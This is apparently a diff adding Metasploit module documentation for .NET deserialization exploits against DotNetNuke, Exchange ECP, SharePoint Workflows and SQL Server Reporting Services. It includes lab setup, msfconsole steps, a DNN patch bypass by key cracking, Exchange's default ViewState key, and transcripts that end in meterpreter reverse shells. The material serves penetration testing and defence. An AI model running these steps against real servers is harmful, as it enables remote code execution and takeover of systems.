The implemented patch for CVE-2018-15811 and CVE-2018-15812 did not prevent exploitation. The patch changed the encryption key used to encrypt and decrypt the DNNPersonalization cookie; however, this encryption key was still derived from the key used to encrypt and decrypt the registration verification code and the strength of the encryption algorithm was not increased (DES). Additional changes were made to prevent the full plaintext of the verification code from being disclosed. A partial plaintext value was still disclosed on the user profile page. Due to the project being open-source, it was possible to determine the format of the rest of the plaintext verification code. Using a list of obtained verification codes and the known partial plaintext value, it is possible to reduce the number of potential encryption keys through offline processing to a point where trying to re-exploit CVE-2017-9822 with each potential key becomes a feasible attack.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
On a Windows machine, download the "Install" package from here:
|
||||
|
||||
[https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.3.0-rc2](https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.3.0-rc2)
|
||||
|
||||
Install packages for other versions can be downloaded from:
|
||||
|
||||
`https://github.com/dnnsoftware/Dnn.Platform/releases/tag/<version number>`
|
||||
|
||||
Follow the installation instructions here for installing with ATTACHED DATABASE:
|
||||
|
||||
[https://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke](https://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke)
|
||||
|
||||
You will need SQL Server 2005/2008/2008R2/2012 or 2016 installed.
|
||||
|
||||
Log in as the super user account and make sure the 404 error page is set to the built-in 404 Error Page.
|
||||
Typically, this is already set as the default setting, but during testing I encountered an edge case where an issue during installation caused this value to be set to "None Specified".
|
||||
|
||||
Additionally, if you are testing this module from a machine other than the host that the application is installed on, you will need to configure the Site Alias so that it is accessible using a hostname other than `localhost`. Additional firewall rules may need to be configured to allow web access, depending on how you set up the applicaiton in IIS.
|
||||
|
||||
This module has been tested on DNN v7.0.0 - v9.3.0-RC running on Windows Server 2016.
|
||||
|
||||
|
||||
### v5.0.0 - v9.1.0
|
||||
No additional configuration required.
|
||||
|
||||
### v9.1.1+
|
||||
While logged in as the super user account, configure the application to use Verified registration. You will also need to configure the SMTP server settings to be valid in order to receive the registration email.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### v5.0.0 - v9.1.0
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
|
||||
4. Do: ```set RHOST <RHOST>```
|
||||
5. Do: ```set RPORT <RPORT>```
|
||||
6. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
7. Do: ```set LHOST <LHOST>```
|
||||
8. Do: ```set LPORT <LPORT>```
|
||||
9. Do: ```check```
|
||||
10. **Verify** that you are seeing `The target appears to be vulnerable` in the console
|
||||
11. Do: ```exploit```
|
||||
12. **Verify** that you get a meterpeter shell
|
||||
|
||||
### v9.1.1
|
||||
1. Install the application
|
||||
2. Configure the application to use Verified Registration
|
||||
3. Configure the application's SMTP server settings so that it will send the registration email
|
||||
4. Register a new user account and copy the verification code in the link in the registration email
|
||||
5. Log in as the new user and navigate to the Edit Profile page. Note the `userId` url path parameter value
|
||||
6. Examine the page's source code and search for a `portalId` value that is a positive integer.
|
||||
7. Start msfconsole
|
||||
8. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
|
||||
9. Do: ```set RHOST <RHOST>```
|
||||
10. Do: ```set RPORT <RPORT>```
|
||||
11. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
12. Do: ```set LHOST <LHOST>```
|
||||
13. Do: ```set LPORT <LPORT>```
|
||||
14. Do: ```set VERIFICATION_CODE <Verification Code>```
|
||||
15. Do: ```set VERIFICATION_PLAIN <{portalId}-{userId}>```
|
||||
16. Do: ```set ENCRYPTED true```
|
||||
14. Do: ```check```
|
||||
15. **Verify** that you are seeing `The target appears to be vulnerable` in the console
|
||||
16. Do: ```exploit```
|
||||
17. **Verify** that you get a meterpeter shell
|
||||
|
||||
### v9.2.0 - v9.2.1
|
||||
1. Install the application
|
||||
2. Configure the application to use Verified Registration
|
||||
3. Configure the application's SMTP server settings so that it will send the registration email
|
||||
4. Register a new user account and copy the verification code in the link in the registration email
|
||||
5. Log in as the new user and navigate to the Edit Profile page. Note the `userId` url path parameter value
|
||||
6. Examine the Edit Profile page's source code and search for a `portalId` value that is a positive integer.
|
||||
7. While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the `.DOTNETNUKE` cookie value.
|
||||
8. Start msfconsole
|
||||
9. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
|
||||
10. Do: ```set RHOST <RHOST>```
|
||||
11. Do: ```set RPORT <RPORT>```
|
||||
12. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
13. Do: ```set LHOST <LHOST>```
|
||||
14. Do: ```set LPORT <LPORT>```
|
||||
15. Do: ```set VERIFICATION_CODE <Verification Code>```
|
||||
16. Do: ```set VERIFICATION_PLAIN <{portalId}-{userId}>```
|
||||
17. Do: ```set ENCRYPTED true```
|
||||
18. Do: ```set SESSION_TOKEN <.DOTNETNUKE cookie value>```
|
||||
19. Do: ```check```
|
||||
20. **Verify** that you are seeing `The target appears to be vulnerable` in the console
|
||||
21. Do: ```exploit```
|
||||
22. **Verify** that you get a meterpeter shell
|
||||
|
||||
### v9.2.2 - 9.3.0-RC
|
||||
In these versions, the `userId` value was changed to be a randomly generated GUID. This means that only the first part of the verification plaintext is known. By providing a list of several verification codes, it is possible to reduce the nubmer of potential encryption key values to a feasible amount. Once the list of encryption keys has been reduced, the module will test each key until an HTTP callback is received on port `8080` that indicates which key worked. Then, the final exploit payload will be encrypted using the recovered key and sent to the server, resulting in a shell.
|
||||
|
||||
1. Install the application
|
||||
2. Configure the application to use Verified Registration
|
||||
3. Configure the application's SMTP server settings so that it will send the registration email
|
||||
4. Register several new user accounts and note the verification codes in the link in the registration emails
|
||||
5. Log in as the new user and navigate to the Edit Profile page.
|
||||
6. Examine the Edit Profile page's source code and search for a `portalId` value that is a positive integer
|
||||
7. While logged in, examine your cookies using the browser's developer tools or by other means. Copy the value of the `.DOTNETNUKE` cookie value.
|
||||
8. Start msfconsole
|
||||
9. Do: ```use exploit/windows/http/dnn_cookie_deserialization_rce```
|
||||
10. Do: ```set RHOST <RHOST>```
|
||||
11. Do: ```set RPORT <RPORT>```
|
||||
12. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
|
||||
13. Do: ```set LHOST <LHOST>```
|
||||
14. Do: ```set LPORT <LPORT>```
|
||||
15. Do: ```set VERIFICATION_CODE <full path to file containing verification codes>```
|
||||
16. Do: ```set VERIFICATION_PLAIN <{portalId}->```
|
||||
17. Do: ```set ENCRYPTED true```
|
||||
18. Do: ```set SESSION_TOKEN <.DOTNETNUKE cookie value>```
|
||||
19. Do: ```set TARGET 4```
|
||||
20. Do: ```check```
|
||||
21. **Verify** that you are seeing `The target appears to be vulnerable` in the console.
|
||||
22. Do: ```exploit```
|
||||
23. **Verify** that you get a meterpeter shell
|
||||
|
||||
## Options
|
||||
|
||||
**DryRun**
|
||||
|
||||
Set this to `true` to generate a payload, but not send the exploit to the target server. Default value is `false`.
|
||||
|
||||
**ENCRYPTED**
|
||||
|
||||
Set this to `true` for targets running v9.1.1+. Default value is `false`.
|
||||
|
||||
**IV**
|
||||
|
||||
The initialization vector to use for encrypting the payload. If specified along with `KEY`, `VERIFICATION_CODE` and `VERIFICATION_PLAIN` options will be ignored.
|
||||
|
||||
**KEY**
|
||||
|
||||
The key to use for encryption. If specified along with `IV`, `VERIFICATION_CODE` and `VERIFICATION_PLAIN` options will be ignored.
|
||||
|
||||
**SESSION_TOKEN**
|
||||
|
||||
The .DOTNETNUKE session cookie value to use when submitting the payload to the server. Required for targets running v9.2.0+.
|
||||
|
||||
**SRVPORT**
|
||||
|
||||
The server port to listen for HTTP callbacks on when testing encryption passphrases for targets running v9.2.2 - v9.3.0-RC. Default value is `8080`
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Path to a page that will result in a DNN 404 Error Page. The default location is `/__`
|
||||
|
||||
**VERIFICATION_CODE**
|
||||
|
||||
The verification code received in an email, or the full path to a file containing multiple verification codes.
|
||||
|
||||
**VERIFICATION_PLAIN**
|
||||
|
||||
The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer (v9.1.1 - v9.2.1) or GUID (v9.2.2+).
|
||||
|
||||
|
||||
|
||||
## Scenarios
|
||||
### v5.1.0 - v9.1.0
|
||||
Here's showing the expected output:
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8083
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
|
||||
|
||||
[*] Trying to determine DNN Version...
|
||||
[*] Checking version at /Documentation/License.txt ...
|
||||
[+] DNN Version Found: v5.1.0 - v9.0.1
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] 192.168.31.131:8083 - The target appears to be vulnerable.
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
|
||||
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] Started reverse TCP handler on 192.168.31.128:443
|
||||
[*] Sending Exploit Payload to: /__ ...
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.131
|
||||
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49957) at 2019-07-10 14:02:09 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2016 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
### v9.1.1
|
||||
Here's showing the expected output
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8084
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE Amop-0Et1fM_
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-2
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
|
||||
|
||||
[*] Trying to determine DNN Version...
|
||||
[*] Checking version at /Documentation/License.txt ...
|
||||
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] 192.168.31.131:8084 - The target appears to be vulnerable.
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
|
||||
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] Finding Key...
|
||||
[*] Searching at 648742.110 keys/s ...... 68.69% of keyspace complete.
|
||||
[+] KEY Found: B2ABB4BB
|
||||
[+] IV Found: 11A4D8BE
|
||||
[*] Total number of Keys tried: 29568463
|
||||
[*] Time to crack: 45.578 seconds
|
||||
[*] Started reverse TCP handler on 192.168.31.128:443
|
||||
[*] Sending Exploit Payload to: /__ ...
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.131
|
||||
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49970) at 2019-07-10 14:46:38 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2016 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
### v9.2.0 - v9.2.1
|
||||
Here's the expected output:
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8085
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE xR9oL8FP2eE_
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-3
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 20FED393A44F86138D9089074C819880222A494155CEFAC6FEAF2B3B5204A227625654D87EA48ECB1E509664A7E8E32644BD363D3E6FD3A3273B245EF2D10B5E13D7912B
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
|
||||
|
||||
[*] Trying to determine DNN Version...
|
||||
[*] Checking version at /Documentation/License.txt ...
|
||||
[!] DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2 - try setting target 4 and supply a file of of verification codes, or specifiy valid Key and IV values.
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[+] 192.168.31.131:8085 - The target appears to be vulnerable.
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
|
||||
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] Finding Key...
|
||||
[*] Searching at 641992.579 keys/s ...... 1.47% of keyspace complete.
|
||||
[+] KEY Found: 022BA242
|
||||
[+] IV Found: 0BCF9976
|
||||
[*] Total number of Keys tried: 633602
|
||||
[*] Time to crack: 0.987 seconds
|
||||
[*] Started reverse TCP handler on 192.168.31.128:443
|
||||
[*] Sending Exploit Payload to: /__ ...
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.131
|
||||
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49971) at 2019-07-10 15:08:04 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2016 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
### v9.2.2 - v9.3.0-RC
|
||||
Here's the expected output:
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8090
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE /dnn930rc_verification_codes.txt
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 306A9A382E32E420739C589CCD5C44A7C2595A7163D3340DF4AD71D4223AFC6866E823F36C6171F84FD7352E6BEB17D66B9823567557988321A0867C7038FF6B0F5B0C1F943CBBDAC0B2EE3E
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 4
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check
|
||||
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[+] 192.168.31.131:8090 - The target is vulnerable.
|
||||
msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit
|
||||
|
||||
[*] Checking for custom error page at: /__ ...
|
||||
[+] Custom error page detected.
|
||||
[*] Finding Key...
|
||||
[*] Searching at 420798.449 keys/s ...... 15.24% of keyspace complete.
|
||||
[+] Possible Base Key Value Found: 2660A22D
|
||||
[*] Total number of Keys tried: 6558182
|
||||
[*] Time to crack: 15.585 seconds
|
||||
[*] Generated 128 possible base KEY values from 2660A22D
|
||||
[!] Finding possible base IVs. This may take a few minutes...
|
||||
[*] Found 4 potential Base IV values using 10 verification codes in 42.82 seconds.
|
||||
[*] Generated 512 possible base64 KEY and IV combinations.
|
||||
[!] Trying all possible KEY and IV combinations...
|
||||
[*] Starting HTTP listener on port 8080...
|
||||
[*] Using URL: http://192.168.31.128:8080/fCyQGz78
|
||||
[!] Sending 512 test Payload(s) to: /__. This may take a few minutes ...
|
||||
[*] Trying KEY and IV combination 440 of 512...
|
||||
[+] KEY: ByEypXIT and IV: zhKad5QC found
|
||||
[*] Started reverse TCP handler on 192.168.31.128:443
|
||||
[*] Sending Exploit Payload to: /__ ...
|
||||
[*] Sending stage (179779 bytes) to 192.168.31.131
|
||||
[*] Meterpreter session 1 opened (192.168.31.128:443 -> 192.168.31.131:49973) at 2019-07-10 15:39:12 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SERVER_NAME
|
||||
OS : Windows 2016 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a .NET serialization vulnerability in the Exchange Control
|
||||
Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not
|
||||
randomizing the keys on a per-installation basis resulting in them using the
|
||||
same validationKey and decryptionKey values. With knowledge of these, values an
|
||||
attacker can craft a special viewstate to cause an OS command to be executed by
|
||||
NT_AUTHORITY\SYSTEM using .NET deserialization.
|
||||
|
||||
The default ViewState validation key is: `cb2721abdaf8e9dc516d621d8b8bf13a2c9e8689a25303bf`.
|
||||
|
||||
This module requires the user to authenticate to Exchange. At a minimum the user
|
||||
must be a member of the `Domain Users` group and have a mailbox configured on
|
||||
the Exchange server.
|
||||
|
||||
The crafted ViewState must be submitted to the server in a GET request (POST
|
||||
requests will not work) which introduces a size restriction on the contents. Due
|
||||
to this, OS commands are limited to a length of approximately 450 which accounts
|
||||
for the overhead of the serialization data. The OS command must also be XML
|
||||
encoded which increases the size as well. The .NET deserialization used is the
|
||||
"TextFormattingRunProperties" chain from the [ysoserial.net][1] project.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/http/exchange_ecp_viewstate`
|
||||
1. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
|
||||
4. Do: `run`
|
||||
5. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Username to log in with
|
||||
|
||||
### Password
|
||||
|
||||
Password to log in with
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange 2016 on Server 2012 x64
|
||||
|
||||
For example:
|
||||
|
||||
msf5 > use exploit/windows/http/exchange_ecp_viewstate
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129
|
||||
RHOSTS => 192.168.159.129
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe
|
||||
USERNAME => msflab.local\jdoe
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1
|
||||
PASSWORD => Password1
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf5 exploit(windows/http/exchange_ecp_viewstate) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Command Stager progress - 3.61% done (449/12424 bytes)
|
||||
[*] Command Stager progress - 7.23% done (898/12424 bytes)
|
||||
[*] Command Stager progress - 10.84% done (1347/12424 bytes)
|
||||
[*] Command Stager progress - 14.46% done (1796/12424 bytes)
|
||||
[*] Command Stager progress - 18.07% done (2245/12424 bytes)
|
||||
[*] Command Stager progress - 21.68% done (2694/12424 bytes)
|
||||
[*] Command Stager progress - 25.30% done (3143/12424 bytes)
|
||||
[*] Command Stager progress - 28.91% done (3592/12424 bytes)
|
||||
[*] Command Stager progress - 32.53% done (4041/12424 bytes)
|
||||
[*] Command Stager progress - 36.14% done (4490/12424 bytes)
|
||||
[*] Command Stager progress - 39.75% done (4939/12424 bytes)
|
||||
[*] Command Stager progress - 43.37% done (5388/12424 bytes)
|
||||
[*] Command Stager progress - 46.98% done (5837/12424 bytes)
|
||||
[*] Command Stager progress - 50.60% done (6286/12424 bytes)
|
||||
[*] Command Stager progress - 54.21% done (6735/12424 bytes)
|
||||
[*] Command Stager progress - 57.82% done (7184/12424 bytes)
|
||||
[*] Command Stager progress - 61.44% done (7633/12424 bytes)
|
||||
[*] Command Stager progress - 65.05% done (8082/12424 bytes)
|
||||
[*] Command Stager progress - 68.67% done (8531/12424 bytes)
|
||||
[*] Command Stager progress - 72.28% done (8980/12424 bytes)
|
||||
[*] Command Stager progress - 75.89% done (9429/12424 bytes)
|
||||
[*] Command Stager progress - 79.51% done (9878/12424 bytes)
|
||||
[*] Command Stager progress - 82.74% done (10279/12424 bytes)
|
||||
[*] Command Stager progress - 86.15% done (10703/12424 bytes)
|
||||
[*] Command Stager progress - 89.43% done (11111/12424 bytes)
|
||||
[*] Command Stager progress - 92.91% done (11543/12424 bytes)
|
||||
[*] Command Stager progress - 96.28% done (11962/12424 bytes)
|
||||
[*] Sending stage (206403 bytes) to 192.168.159.129
|
||||
[*] Command Stager progress - 99.84% done (12404/12424 bytes)
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:17626) at 2020-03-02 10:40:52 -0500
|
||||
[*] Command Stager progress - 100.00% done (12424/12424 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : EXCHANGE
|
||||
OS : Windows 2012 R2 (6.3 Build 9600).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
|
||||
[1]: https://github.com/pwntester/ysoserial.net
|
||||
@@ -0,0 +1,78 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability within SharePoint and its .NET backend
|
||||
that allows an attacker to execute commands using specially crafted XOML data
|
||||
sent to SharePoint via the Workflows functionality.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/http/sharepoint_workflows_xoml`
|
||||
1. Set the target options (`RHOSTS`, `RPORT` and `SSL`) as appropriate
|
||||
1. Set the authentication options (`DOMAIN`, `USERNAME` and `PASSWORD`) as appropriate
|
||||
1. Do: `run`
|
||||
1. You should get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SharePoint 2019 on Server 2016
|
||||
|
||||
```
|
||||
msf5 exploit(windows/http/sharepoint_workflows_xoml) > show options
|
||||
|
||||
Module options (exploit/windows/http/sharepoint_workflows_xoml):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN WORKGROUP yes The domain to use for Windows authentication
|
||||
PASSWORD Password1 yes The password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.14 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to the SharePoint application
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME administrator yes Username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/bind_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LPORT 4444 yes The listen port
|
||||
RHOST 192.168.159.14 no The target address
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 Windows Powershell
|
||||
|
||||
|
||||
msf5 exploit(windows/http/sharepoint_workflows_xoml) > exploit
|
||||
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[+] The target is vulnerable.
|
||||
[*] Started bind TCP handler against 192.168.159.14:4444
|
||||
[*] Sending stage (206403 bytes) to 192.168.159.14
|
||||
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 192.168.159.14:4444) at 2020-03-23 18:11:44 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : SHRPNT2019-P
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : SHRPNT2019P
|
||||
Logged On Users : 14
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: SHRPNT2019P\Administrator
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,87 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a .NET serialization vulnerability in the SQL Server
|
||||
Reporting Services web application. The vulnerability exists within the a class
|
||||
that will load serialized data submitted in a POST request. When processed this
|
||||
data can lead to code execution within the context of the application which by
|
||||
default is a service account.
|
||||
|
||||
An account is necessary in order to leverage this vulnerability. The request is
|
||||
submitted using NTLM basic authentication. This account must be assigned at
|
||||
least the "Browser" role on the site. This is the lowest privilege available and
|
||||
simply allows the user to view folders, reports and subscribe to reports. To
|
||||
authenticate as a domain user, set the `DOMAIN` option.
|
||||
|
||||
### Service Installation And Setup
|
||||
|
||||
Setting up a vulnerable environment for testing is best done by using a SQL
|
||||
Server 2016 installation ISO which includes an offline installer for SSRS. Later
|
||||
versions of SQL Server installation ISOs link to an online installer which will
|
||||
install the patched version automatically.
|
||||
|
||||
When installing SQL Server 2016:
|
||||
|
||||
1. Select "New SQL Server stand-alone installation or add features to an
|
||||
existing installation"
|
||||
1. Later in the "Feature Selection" section, select "Reporting Services -
|
||||
Native" under the "Instance Features" group
|
||||
1. Proceed with the remainder of the installation per usual
|
||||
|
||||
After the server has been installed, it must be configured using the "Reporting
|
||||
Services Configuration Manager" application. Ensure a database is selected and
|
||||
created, that both the Web Services URL and Web Portal URLs are activated.
|
||||
Finally, from the web interface, add accounts and privileges as desired.
|
||||
Individual accounts can have privileges added by selecting "Manage Folder" and
|
||||
adding them from this dashboard. **Do not use privileges dashboard available
|
||||
from "Site Settings" to add the necessary privileges.**
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/ssrs_navcorrector_viewstate`
|
||||
4. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
|
||||
5. Do: `run`
|
||||
6. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SSRS 2016 on Server 2012 x64
|
||||
|
||||
msf5 > use exploit/windows/http/ssrs_navcorrector_viewstate
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set RHOSTS 192.168.159.141
|
||||
RHOSTS => 192.168.159.141
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set USERNAME jdoe
|
||||
USERNAME => jdoe
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set DOMAIN msflab.local
|
||||
DOMAIN => msflab.local
|
||||
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PASSWORD Password1
|
||||
PASSWORD => Password1
|
||||
